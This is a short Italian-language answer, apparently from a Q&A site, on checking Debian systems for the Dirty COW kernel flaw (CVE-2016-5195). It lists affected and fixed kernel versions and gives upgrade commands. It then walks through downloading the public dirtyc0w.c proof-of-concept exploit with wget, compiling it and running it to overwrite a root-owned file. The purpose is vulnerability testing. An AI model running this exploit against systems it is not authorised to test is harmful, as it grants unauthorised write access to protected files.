In base a security-tracker.debian , devi eseguire uname -a
e verificare la versione attuale del kernel.
wheezy 3.2.78-1 vulnerable
wheezy (security) 3.2.82-1 fixed
jessie 3.16.36-1+deb8u1 vulnerable
jessie (security) 3.16.36-1+deb8u2 fixed
stretch, sid 4.7.8-1 fixed
Questa vulnerabilità viene corretta in Debian, aggiornando il sistema:
apt-get update
apt-get upgrade
apt-get dist-upgrade
Modifica
How to make sure that my operating system is not affected by CVE-2016-5195?
Puoi provare il seguente tutorial .
Scarica l'exploit.
wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
Come root: crea il file foo
:
su
echo this is not a test > foo
Come utente:
gcc -lpthread dirtyc0w.c -o dirtyc0w
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w foo m00000000000000000
Verifica il tuo file:
cat foo
Sul computer vulnerabile otterrai m00000000000000000
come output.